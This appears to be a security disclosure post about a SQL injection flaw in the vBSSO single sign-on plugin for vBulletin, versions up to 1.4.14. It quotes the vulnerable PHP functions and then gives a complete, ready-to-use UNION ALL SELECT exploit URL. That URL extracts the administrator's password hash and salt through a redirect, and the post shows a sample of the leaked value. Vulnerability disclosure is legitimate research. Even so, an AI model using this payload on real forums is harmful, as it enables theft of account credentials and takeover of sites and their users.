vBulletin vBSSO Single Sign-On – <= 1.4.14 - SQL Injection

Plugin: http://www.vbulletin.org/forum/showthread.php?t=270517
Version: <= 1.4.14

This plugin is vulnerable to SQL injection at the /vbsso/avatar.php file in the fetchUserinfo function.
It requires a big UNION ALL SELECT query and commenting out the LIMIT function of SQL. If SQL injection is a success, the browser will redirect the user to a URL where the URL contains the extracted information.

I will talk about 2 functions which are used, goToAvatarUrl and fetchUserinfo. I will only provide a small portion of the code of the fetchUserinfo function.

    public function goToAvatarUrl() {
        $vbsso_forum_root = $this->settings['bburl'];
        $url = VBSSO_ASSETS_AVATAR_NOT_FOUND_IMAGE_FILE;

        if (isset($_GET['id']) && !empty($_GET['id'])) {
            $id = sharedapi_gpc_variable('id');

            $userinfo = $this->fetchUserinfo($id);

            if ($userinfo) {
                $this->fetchAvatarFromUserinfo($userinfo, (sharedapi_gpc_variable('thumb') == 'true'));
                $url = $userinfo['avatarurl'];
            }

            $host = $_SERVER['HTTP_HOST'];
            $vbsso_avatar = preg_match("/$host/", $url) ? $url : $vbsso_forum_root . '/' . $url;

            $this->closeSqlConnection();
            sharedapi_url_redirect($vbsso_avatar);
        } else {
            $this->closeSqlConnection();
            sharedapi_url_redirect($vbsso_forum_root . '/' . $url);
        }
    }

 

    private function fetchUserinfo(&$hash) {
        // Exit if a guest, otherwise we waste time running the query.
        if (!$hash) {
            return false;
        }

        $query = "SELECT userfield.*, usertextfield.*, user.*, usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS passworddate,
			IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid" .
            $this->iif($this->settings['avatarenabled'], ', avatar.avatarpath, NOT ISNULL(customavatar.userid) AS hascustomavatar,
            customavatar.dateline AS avatardateline, customavatar.width AS avwidth, customavatar.height AS avheight,
            customavatar.height_thumb AS avheight_thumb, customavatar.width_thumb AS avwidth_thumb, customavatar.filedata_thumb') .
            " FROM " . TABLE_PREFIX . "user AS user
		LEFT JOIN " . TABLE_PREFIX . "userfield AS userfield ON (user.userid = userfield.userid)
        LEFT JOIN " . TABLE_PREFIX . "usergroup AS usergroup ON (usergroup.usergroupid = user.usergroupid)
		LEFT JOIN " . TABLE_PREFIX . "usertextfield AS usertextfield ON (usertextfield.userid = user.userid) " .
            $this->iif($this->settings['avatarenabled'], "LEFT JOIN " . TABLE_PREFIX . "avatar AS avatar ON (avatar.avatarid = user.avatarid)
            LEFT JOIN " . TABLE_PREFIX . "customavatar AS customavatar ON (customavatar.userid = user.userid) ") .
            "WHERE MD5(LOWER(user.email)) LIKE '{$hash}' LIMIT 1";

        $user = $this->mysqli->query($query);

        $user = ($user) ? $user->fetch_assoc() : false;

        // Rest of the code.

The goToAvatarUrl function checks if the id parameter is set in the URL and then executes the sharedapi_gpc_variable function over it.

After that it calls the fetchUserinfo function which executes a query which uses the unsanitized variable $hash, which is the id parameter in the URL. Once the query has been executed it will call the fetchAvatarFromUserinfo function which creates the URL where the user will be redirected to.

To exploit this, you need to execute a rather large UNION ALL SELECT query like this:
http://example.com/vbsso/vbsso.php?a=act&do=avatar&id=' or user.userid = 1 UNION ALL SELECT userfield.*, usertextfield.*, user.*, usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS passworddate, IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid, concat(user.password, 0x3a, user.salt) AS avatarpath, NOT ISNULL(customavatar.userid) AS hascustomavatar, customavatar.dateline AS avatardateline, customavatar.width AS avwidth, customavatar.height AS avheight, customavatar.height_thumb AS avheight_thumb, customavatar.width_thumb AS avwidth_thumb, customavatar.filedata_thumb FROM user AS user LEFT JOIN userfield AS userfield ON (user.userid = userfield.userid) LEFT JOIN usergroup AS usergroup ON (usergroup.usergroupid = user.usergroupid) LEFT JOIN usertextfield AS usertextfield ON (usertextfield.userid = user.userid) LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid) LEFT JOIN customavatar AS customavatar ON (customavatar.userid = user.userid) WHERE user.userid = 1 ORDER BY avatarpath DESC%23

For example, by visiting this URL on a vulnerable forum, you will be redirected to http://example.com/9d0d647f535a4c1f493eabf3d69ca89a:nO^sh9;TVNxGJ”X’+3cYkq9Z4Cd3WS which obviously contains the hash and salt of userid 1.

Leave a Reply

Your email address will not be published / Required fields are marked *